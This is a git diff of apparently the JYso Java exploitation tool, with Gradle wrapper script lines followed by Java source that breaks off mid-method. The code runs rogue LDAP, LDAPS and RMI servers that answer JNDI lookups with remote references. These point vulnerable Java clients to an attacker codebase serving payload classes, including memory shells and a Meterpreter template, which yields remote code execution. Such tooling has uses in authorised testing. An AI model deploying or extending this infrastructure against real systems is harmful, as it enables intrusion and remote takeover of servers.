echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
|
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
|
||||||
echo. 1>&2
|
echo. 1>&2
|
||||||
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
|
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
|
||||||
echo location of your Java installation. 1>&2
|
echo location of your Java installation. 1>&2
|
||||||
|
|
||||||
goto fail
|
goto fail
|
||||||
|
|
||||||
:findJavaFromJavaHome
|
:findJavaFromJavaHome
|
||||||
set JAVA_HOME=%JAVA_HOME:"=%
|
set JAVA_HOME=%JAVA_HOME:"=%
|
||||||
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
|
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
|
||||||
|
|
||||||
if exist "%JAVA_EXE%" goto execute
|
if exist "%JAVA_EXE%" goto execute
|
||||||
|
|
||||||
echo. 1>&2
|
echo. 1>&2
|
||||||
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
|
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
|
||||||
echo. 1>&2
|
echo. 1>&2
|
||||||
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
|
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
|
||||||
echo location of your Java installation. 1>&2
|
echo location of your Java installation. 1>&2
|
||||||
|
|
||||||
goto fail
|
goto fail
|
||||||
|
|
||||||
:execute
|
:execute
|
||||||
@rem Setup the command line
|
@rem Setup the command line
|
||||||
|
|
||||||
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
|
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
|
||||||
|
|
||||||
|
|
||||||
@rem Execute Gradle
|
@rem Execute Gradle
|
||||||
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
|
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
|
||||||
|
|
||||||
:end
|
:end
|
||||||
@rem End local scope for the variables with windows NT shell
|
@rem End local scope for the variables with windows NT shell
|
||||||
if %ERRORLEVEL% equ 0 goto mainEnd
|
if %ERRORLEVEL% equ 0 goto mainEnd
|
||||||
|
|
||||||
:fail
|
:fail
|
||||||
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
|
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
|
||||||
rem the _cmd.exe /c_ return code!
|
rem the _cmd.exe /c_ return code!
|
||||||
set EXIT_CODE=%ERRORLEVEL%
|
set EXIT_CODE=%ERRORLEVEL%
|
||||||
if %EXIT_CODE% equ 0 set EXIT_CODE=1
|
if %EXIT_CODE% equ 0 set EXIT_CODE=1
|
||||||
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
|
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
|
||||||
exit /b %EXIT_CODE%
|
exit /b %EXIT_CODE%
|
||||||
|
|
||||||
:mainEnd
|
:mainEnd
|
||||||
if "%OS%"=="Windows_NT" endlocal
|
if "%OS%"=="Windows_NT" endlocal
|
||||||
|
|
||||||
:omega
|
:omega
|
||||||
|
|||||||
+1
-1
@@ -1 +1 @@
|
|||||||
rootProject.name = 'JYso'
|
rootProject.name = 'JYso'
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -1,122 +1,122 @@
|
|||||||
package com.qi4l.JYso;
|
package com.qi4l.JYso;
|
||||||
|
|
||||||
import com.qi4l.JYso.controllers.LdapController;
|
import com.qi4l.JYso.controllers.LdapController;
|
||||||
import com.qi4l.JYso.controllers.LdapMapping;
|
import com.qi4l.JYso.controllers.LdapMapping;
|
||||||
import com.qi4l.JYso.controllers.utils.JNDIUtils;
|
import com.qi4l.JYso.controllers.utils.JNDIUtils;
|
||||||
import com.qi4l.JYso.gadgets.Config.Config;
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
|
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
|
||||||
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
|
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
|
||||||
import com.unboundid.ldap.listener.InMemoryListenerConfig;
|
import com.unboundid.ldap.listener.InMemoryListenerConfig;
|
||||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
|
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
|
||||||
import org.reflections.Reflections;
|
import org.reflections.Reflections;
|
||||||
|
|
||||||
import javax.net.ServerSocketFactory;
|
import javax.net.ServerSocketFactory;
|
||||||
import javax.net.SocketFactory;
|
import javax.net.SocketFactory;
|
||||||
import javax.net.ssl.SSLSocketFactory;
|
import javax.net.ssl.SSLSocketFactory;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.net.InetAddress;
|
import java.net.InetAddress;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.TreeMap;
|
import java.util.TreeMap;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.Config.Config.*;
|
import static com.qi4l.JYso.gadgets.Config.Config.*;
|
||||||
import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode;
|
import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode;
|
||||||
import static org.fusesource.jansi.Ansi.ansi;
|
import static org.fusesource.jansi.Ansi.ansi;
|
||||||
|
|
||||||
|
|
||||||
public class LdapServer extends InMemoryOperationInterceptor {
|
public class LdapServer extends InMemoryOperationInterceptor {
|
||||||
|
|
||||||
public static TreeMap<String, LdapController> routes = new TreeMap<>();
|
public static TreeMap<String, LdapController> routes = new TreeMap<>();
|
||||||
|
|
||||||
public LdapServer() throws Exception {
|
public LdapServer() throws Exception {
|
||||||
|
|
||||||
//find all classes annotated with @LdapMapping
|
//find all classes annotated with @LdapMapping
|
||||||
Set<Class<?>> controllers = new Reflections(this.getClass().getPackage().getName())
|
Set<Class<?>> controllers = new Reflections(this.getClass().getPackage().getName())
|
||||||
.getTypesAnnotatedWith(LdapMapping.class);
|
.getTypesAnnotatedWith(LdapMapping.class);
|
||||||
|
|
||||||
//instantiate them and store in the routes map
|
//instantiate them and store in the routes map
|
||||||
for (Class<?> controller : controllers) {
|
for (Class<?> controller : controllers) {
|
||||||
Constructor<?> cons = controller.getConstructor();
|
Constructor<?> cons = controller.getConstructor();
|
||||||
LdapController instance = (LdapController) cons.newInstance();
|
LdapController instance = (LdapController) cons.newInstance();
|
||||||
String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
|
String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
|
||||||
for (String mapping : mappings) {
|
for (String mapping : mappings) {
|
||||||
if (mapping.startsWith("/")) {
|
if (mapping.startsWith("/")) {
|
||||||
mapping = mapping.substring(1); //remove first forward slash
|
mapping = mapping.substring(1); //remove first forward slash
|
||||||
routes.put(mapping, instance);
|
routes.put(mapping, instance);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void start() {
|
public static void start() {
|
||||||
try {
|
try {
|
||||||
InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com");
|
InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com");
|
||||||
|
|
||||||
serverConfig.setListenerConfigs(new InMemoryListenerConfig(
|
serverConfig.setListenerConfigs(new InMemoryListenerConfig(
|
||||||
"listen",
|
"listen",
|
||||||
InetAddress.getByName("0.0.0.0"),
|
InetAddress.getByName("0.0.0.0"),
|
||||||
Config.ldapPort,
|
Config.ldapPort,
|
||||||
ServerSocketFactory.getDefault(),
|
ServerSocketFactory.getDefault(),
|
||||||
SocketFactory.getDefault(),
|
SocketFactory.getDefault(),
|
||||||
(SSLSocketFactory) SSLSocketFactory.getDefault()));
|
(SSLSocketFactory) SSLSocketFactory.getDefault()));
|
||||||
|
|
||||||
if (!USER.equals("") || !PASSWD.equals("")) {
|
if (!USER.equals("") || !PASSWD.equals("")) {
|
||||||
serverConfig.addAdditionalBindCredentials(USER, PASSWD);
|
serverConfig.addAdditionalBindCredentials(USER, PASSWD);
|
||||||
}
|
}
|
||||||
|
|
||||||
//添加操作拦截器
|
//添加操作拦截器
|
||||||
//将提供的操作拦截器添加到操作拦截器列表中,该列表可用于在请求被内存目录服务器处理之前转换请求,和/或在响应返回给客户端之前转换响应。
|
//将提供的操作拦截器添加到操作拦截器列表中,该列表可用于在请求被内存目录服务器处理之前转换请求,和/或在响应返回给客户端之前转换响应。
|
||||||
serverConfig.addInMemoryOperationInterceptor(new LdapServer());
|
serverConfig.addInMemoryOperationInterceptor(new LdapServer());
|
||||||
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig);
|
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig);
|
||||||
ds.startListening();
|
ds.startListening();
|
||||||
System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >> " + Config.ldapPort + "..."));
|
System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >> " + Config.ldapPort + "..."));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void processSearchResult(InMemoryInterceptedSearchResult result) {
|
public void processSearchResult(InMemoryInterceptedSearchResult result) {
|
||||||
String base;
|
String base;
|
||||||
if (!ROUTE.equals("")) {
|
if (!ROUTE.equals("")) {
|
||||||
base = ROUTE;
|
base = ROUTE;
|
||||||
} else {
|
} else {
|
||||||
base = result.getRequest().getBaseDN();
|
base = result.getRequest().getBaseDN();
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
if (!AESkey.equals("123")) {
|
if (!AESkey.equals("123")) {
|
||||||
base = base64Decode(base);
|
base = base64Decode(base);
|
||||||
base = JNDIUtils.decrypt(base, AESkey);
|
base = JNDIUtils.decrypt(base, AESkey);
|
||||||
}
|
}
|
||||||
} catch (Exception AESerr) {
|
} catch (Exception AESerr) {
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
//收到ldap请求
|
//收到ldap请求
|
||||||
//System.out.println(ansi().render("@|green [+] Received LDAP Query : |@" + base));
|
//System.out.println(ansi().render("@|green [+] Received LDAP Query : |@" + base));
|
||||||
LdapController controller = null;
|
LdapController controller = null;
|
||||||
//find controller
|
//find controller
|
||||||
//根据请求的路径从route中匹配相应的controller
|
//根据请求的路径从route中匹配相应的controller
|
||||||
for (String key : routes.keySet()) {
|
for (String key : routes.keySet()) {
|
||||||
//compare using wildcard at the end
|
//compare using wildcard at the end
|
||||||
if (base.toLowerCase().startsWith(key)) {
|
if (base.toLowerCase().startsWith(key)) {
|
||||||
controller = routes.get(key);
|
controller = routes.get(key);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
if (controller == null) {
|
if (controller == null) {
|
||||||
System.out.println(ansi().render("@|red [!] Invalid LDAP Query >> |@" + base));
|
System.out.println(ansi().render("@|red [!] Invalid LDAP Query >> |@" + base));
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
//从控制器中进行返回
|
//从控制器中进行返回
|
||||||
controller.process(base);
|
controller.process(base);
|
||||||
controller.sendResult(result, base);
|
controller.sendResult(result, base);
|
||||||
} catch (Exception e1) {
|
} catch (Exception e1) {
|
||||||
System.out.println(ansi().render("@|red [!] Exception >> |@" + e1.getMessage()));
|
System.out.println(ansi().render("@|red [!] Exception >> |@" + e1.getMessage()));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,59 +1,59 @@
|
|||||||
package com.qi4l.JYso;
|
package com.qi4l.JYso;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.Config.Config;
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
|
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
|
||||||
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
|
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
|
||||||
import com.unboundid.ldap.listener.InMemoryListenerConfig;
|
import com.unboundid.ldap.listener.InMemoryListenerConfig;
|
||||||
import com.unboundid.util.ssl.KeyStoreKeyManager;
|
import com.unboundid.util.ssl.KeyStoreKeyManager;
|
||||||
import com.unboundid.util.ssl.SSLUtil;
|
import com.unboundid.util.ssl.SSLUtil;
|
||||||
import com.unboundid.util.ssl.TrustAllTrustManager;
|
import com.unboundid.util.ssl.TrustAllTrustManager;
|
||||||
import org.apache.logging.log4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.apache.logging.log4j.LogManager;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import static org.fusesource.jansi.Ansi.ansi;
|
import static org.fusesource.jansi.Ansi.ansi;
|
||||||
|
|
||||||
public class LdapsServer {
|
public class LdapsServer {
|
||||||
private static final Logger log = LogManager.getLogger(LdapsServer.class);
|
private static final Logger log = LogManager.getLogger(LdapsServer.class);
|
||||||
private final String certFile;
|
private final String certFile;
|
||||||
private final String keyPass;
|
private final String keyPass;
|
||||||
|
|
||||||
public LdapsServer(String certFile, String keyPass) {
|
public LdapsServer(String certFile, String keyPass) {
|
||||||
this.certFile = certFile;
|
this.certFile = certFile;
|
||||||
this.keyPass = keyPass;
|
this.keyPass = keyPass;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void start() {
|
public static void start() {
|
||||||
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.ldapsPort + "..."));
|
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.ldapsPort + "..."));
|
||||||
new LdapsServer(Config.certFile, Config.keyPass).run();
|
new LdapsServer(Config.certFile, Config.keyPass).run();
|
||||||
}
|
}
|
||||||
|
|
||||||
public void run() {
|
public void run() {
|
||||||
// 设置JDK信任证书
|
// 设置JDK信任证书
|
||||||
System.setProperty("javax.net.ssl.trustStore", certFile);
|
System.setProperty("javax.net.ssl.trustStore", certFile);
|
||||||
System.setProperty("javax.net.ssl.trustStorePassword", keyPass);
|
System.setProperty("javax.net.ssl.trustStorePassword", keyPass);
|
||||||
|
|
||||||
try {
|
try {
|
||||||
SSLUtil serverSSLUtil = new SSLUtil(
|
SSLUtil serverSSLUtil = new SSLUtil(
|
||||||
new KeyStoreKeyManager(certFile, keyPass.toCharArray()),
|
new KeyStoreKeyManager(certFile, keyPass.toCharArray()),
|
||||||
new TrustAllTrustManager()
|
new TrustAllTrustManager()
|
||||||
);
|
);
|
||||||
SSLUtil clientSSLUtil = new SSLUtil(new TrustAllTrustManager());
|
SSLUtil clientSSLUtil = new SSLUtil(new TrustAllTrustManager());
|
||||||
|
|
||||||
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
|
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
|
||||||
config.setListenerConfigs(InMemoryListenerConfig.createLDAPSConfig(
|
config.setListenerConfigs(InMemoryListenerConfig.createLDAPSConfig(
|
||||||
"listen-ldaps",
|
"listen-ldaps",
|
||||||
null,
|
null,
|
||||||
Integer.parseInt(String.valueOf(Config.ldapsPort)),
|
Integer.parseInt(String.valueOf(Config.ldapsPort)),
|
||||||
serverSSLUtil.createSSLServerSocketFactory(),
|
serverSSLUtil.createSSLServerSocketFactory(),
|
||||||
clientSSLUtil.createSSLSocketFactory()
|
clientSSLUtil.createSSLSocketFactory()
|
||||||
));
|
));
|
||||||
config.addInMemoryOperationInterceptor(new LdapServer());
|
config.addInMemoryOperationInterceptor(new LdapServer());
|
||||||
|
|
||||||
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
|
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
|
||||||
ds.startListening();
|
ds.startListening();
|
||||||
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.ldapsPort + "..."));
|
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.ldapsPort + "..."));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
log.error("e: ", e);
|
log.error("e: ", e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,41 +1,41 @@
|
|||||||
package com.qi4l.JYso;
|
package com.qi4l.JYso;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||||
import com.qi4l.JYso.gadgets.Config.Config;
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||||
import org.apache.commons.collections4.map.CaseInsensitiveMap;
|
import org.apache.commons.collections4.map.CaseInsensitiveMap;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.Config.Config.logo;
|
import static com.qi4l.JYso.gadgets.Config.Config.logo;
|
||||||
|
|
||||||
public class Starter {
|
public class Starter {
|
||||||
|
|
||||||
// 用于存储所有的ObjectPayload类
|
// 用于存储所有的ObjectPayload类
|
||||||
public static CaseInsensitiveMap<String, Class<? extends ObjectPayload<?>>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap<>();
|
public static CaseInsensitiveMap<String, Class<? extends ObjectPayload<?>>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap<>();
|
||||||
public static boolean JYsoMode = false;
|
public static boolean JYsoMode = false;
|
||||||
|
|
||||||
static {
|
static {
|
||||||
for (Class<? extends ObjectPayload<?>> clazz : ObjectPayload.Utils.getPayloadClasses()) {
|
for (Class<? extends ObjectPayload<?>> clazz : ObjectPayload.Utils.getPayloadClasses()) {
|
||||||
caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz);
|
caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
// 如果参数中包含-j,则启动LDAP、HTTP、RMI服务
|
// 如果参数中包含-j,则启动LDAP、HTTP、RMI服务
|
||||||
if (args.length > 0 && args[0].equals("-j")) {
|
if (args.length > 0 && args[0].equals("-j")) {
|
||||||
logo();
|
logo();
|
||||||
Config.applyCmdArgs(args);
|
Config.applyCmdArgs(args);
|
||||||
LdapServer.start();
|
LdapServer.start();
|
||||||
HTTPServer.start();
|
HTTPServer.start();
|
||||||
if (Config.TLSProxy) {
|
if (Config.TLSProxy) {
|
||||||
LdapsServer.start();
|
LdapsServer.start();
|
||||||
}
|
}
|
||||||
RMIServer.start();
|
RMIServer.start();
|
||||||
}
|
}
|
||||||
|
|
||||||
// 如果参数中包含-y,则启动 ysoserial
|
// 如果参数中包含-y,则启动 ysoserial
|
||||||
if (args.length > 0 && args[0].equals("-y")) {
|
if (args.length > 0 && args[0].equals("-y")) {
|
||||||
JYsoMode = true;
|
JYsoMode = true;
|
||||||
ysoserial.run(args);
|
ysoserial.run(args);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,173 +1,173 @@
|
|||||||
package com.qi4l.JYso.controllers;
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
import com.qi4l.JYso.gadgets.Config.Config;
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
import com.qi4l.JYso.gadgets.URLDNS;
|
import com.qi4l.JYso.gadgets.URLDNS;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||||
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||||
import com.qi4l.JYso.template.Meterpreter;
|
import com.qi4l.JYso.template.Meterpreter;
|
||||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
import com.unboundid.ldap.sdk.Entry;
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
import com.unboundid.ldap.sdk.LDAPResult;
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
import com.unboundid.ldap.sdk.ResultCode;
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
import org.apache.logging.log4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.apache.logging.log4j.LogManager;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.nio.charset.StandardCharsets;
|
import java.nio.charset.StandardCharsets;
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
import java.util.Locale;
|
import java.util.Locale;
|
||||||
|
|
||||||
import static org.fusesource.jansi.Ansi.ansi;
|
import static org.fusesource.jansi.Ansi.ansi;
|
||||||
|
|
||||||
@LdapMapping(uri = {"/basic"})
|
@LdapMapping(uri = {"/basic"})
|
||||||
public class BasicController implements LdapController {
|
public class BasicController implements LdapController {
|
||||||
|
|
||||||
private static final Logger log = LogManager.getLogger(BasicController.class);
|
private static final Logger log = LogManager.getLogger(BasicController.class);
|
||||||
private static String payloadType;
|
private static String payloadType;
|
||||||
// 用于对外提供动态字节码的 HTTP 服务器基础路径。
|
// 用于对外提供动态字节码的 HTTP 服务器基础路径。
|
||||||
private final String codebase = Config.codeBase;
|
private final String codebase = Config.codeBase;
|
||||||
// 存放从 LDAP 路径中解析出的命令或连接参数。
|
// 存放从 LDAP 路径中解析出的命令或连接参数。
|
||||||
private String[] params = new String[0];
|
private String[] params = new String[0];
|
||||||
private GadgetType gadgetType;
|
private GadgetType gadgetType;
|
||||||
|
|
||||||
static String getStringQ(String base, int index) {
|
static String getStringQ(String base, int index) {
|
||||||
int cursor = 0;
|
int cursor = 0;
|
||||||
int found = 0;
|
int found = 0;
|
||||||
while (cursor < base.length()) {
|
while (cursor < base.length()) {
|
||||||
int nextSlash = base.indexOf('/', cursor);
|
int nextSlash = base.indexOf('/', cursor);
|
||||||
if (nextSlash == -1) nextSlash = base.length();
|
if (nextSlash == -1) nextSlash = base.length();
|
||||||
|
|
||||||
if (nextSlash > cursor) {
|
if (nextSlash > cursor) {
|
||||||
if (found == index) {
|
if (found == index) {
|
||||||
return base.substring(cursor, nextSlash);
|
return base.substring(cursor, nextSlash);
|
||||||
}
|
}
|
||||||
found++;
|
found++;
|
||||||
}
|
}
|
||||||
cursor = nextSlash + 1;
|
cursor = nextSlash + 1;
|
||||||
}
|
}
|
||||||
return "";
|
return "";
|
||||||
}
|
}
|
||||||
|
|
||||||
// 向 LDAP 客户端返回引用指定 payload 类的搜索结果。
|
// 向 LDAP 客户端返回引用指定 payload 类的搜索结果。
|
||||||
@Override
|
@Override
|
||||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
try {
|
try {
|
||||||
Entry entry = new Entry(base);
|
Entry entry = new Entry(base);
|
||||||
String className = resolvePayloadClass();
|
String className = resolvePayloadClass();
|
||||||
URL targetUrl = new URL(new URL(codebase), className.replace('.', '/') + ".class");
|
URL targetUrl = new URL(new URL(codebase), className.replace('.', '/') + ".class");
|
||||||
|
|
||||||
System.out.println(ansi().fgBrightBlue().a(" redirecting to " + targetUrl).reset());
|
System.out.println(ansi().fgBrightBlue().a(" redirecting to " + targetUrl).reset());
|
||||||
entry.addAttribute("javaClassName", "foo");
|
entry.addAttribute("javaClassName", "foo");
|
||||||
entry.addAttribute("javaCodeBase", codebase);
|
entry.addAttribute("javaCodeBase", codebase);
|
||||||
entry.addAttribute("objectClass", "javaNamingReference");
|
entry.addAttribute("objectClass", "javaNamingReference");
|
||||||
entry.addAttribute("javaFactory", className);
|
entry.addAttribute("javaFactory", className);
|
||||||
result.sendSearchEntry(entry);
|
result.sendSearchEntry(entry);
|
||||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
} catch (Throwable er) {
|
} catch (Throwable er) {
|
||||||
System.err.println("Error while generating or serializing payload");
|
System.err.println("Error while generating or serializing payload");
|
||||||
log.error(String.valueOf(er));
|
log.error(String.valueOf(er));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 解析请求路径,确定 payload 类型并准备执行时所需的参数。
|
// 解析请求路径,确定 payload 类型并准备执行时所需的参数。
|
||||||
@Override
|
@Override
|
||||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||||
System.out.println("- JNDI Remote Reference Links ");
|
System.out.println("- JNDI Remote Reference Links ");
|
||||||
try {
|
try {
|
||||||
String normalized = base.replace('\\', '/');
|
String normalized = base.replace('\\', '/');
|
||||||
payloadType = segment(normalized, 1);
|
payloadType = segment(normalized, 1);
|
||||||
if (payloadType.isEmpty()) {
|
if (payloadType.isEmpty()) {
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
|
||||||
}
|
}
|
||||||
System.out.println(ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
|
System.out.println(ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
|
||||||
|
|
||||||
gadgetType = parseGadgetType(normalized);
|
gadgetType = parseGadgetType(normalized);
|
||||||
params = resolveParams(normalized);
|
params = resolveParams(normalized);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
|
|
||||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 根据 payload 标识返回需要加载的实现类名称。
|
// 根据 payload 标识返回需要加载的实现类名称。
|
||||||
private String resolvePayloadClass() throws Exception {
|
private String resolvePayloadClass() throws Exception {
|
||||||
if (payloadType.contains("E-")) {
|
if (payloadType.contains("E-")) {
|
||||||
Class<?> echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType)));
|
Class<?> echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType)));
|
||||||
return echoClass.getName();
|
return echoClass.getName();
|
||||||
}
|
}
|
||||||
|
|
||||||
if (payloadType.contains("M-")) {
|
if (payloadType.contains("M-")) {
|
||||||
return Gadgets.createClassB(suffixAfterDash(payloadType));
|
return Gadgets.createClassB(suffixAfterDash(payloadType));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (payloadType.contains("command")) {
|
if (payloadType.contains("command")) {
|
||||||
if (params.length == 0) {
|
if (params.length == 0) {
|
||||||
throw new IncorrectParamsException("Missing command parameters.");
|
throw new IncorrectParamsException("Missing command parameters.");
|
||||||
}
|
}
|
||||||
// 待写
|
// 待写
|
||||||
}
|
}
|
||||||
|
|
||||||
if (payloadType.contains("msf")) {
|
if (payloadType.contains("msf")) {
|
||||||
return Meterpreter.class.getName();
|
return Meterpreter.class.getName();
|
||||||
}
|
}
|
||||||
|
|
||||||
throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType);
|
throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 读取路径中的 gadget 片段并转换为枚举值。
|
// 读取路径中的 gadget 片段并转换为枚举值。
|
||||||
private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
|
private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
|
||||||
String segment = segment(base, 2);
|
String segment = segment(base, 2);
|
||||||
if (segment.isEmpty()) {
|
if (segment.isEmpty()) {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
|
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
|
||||||
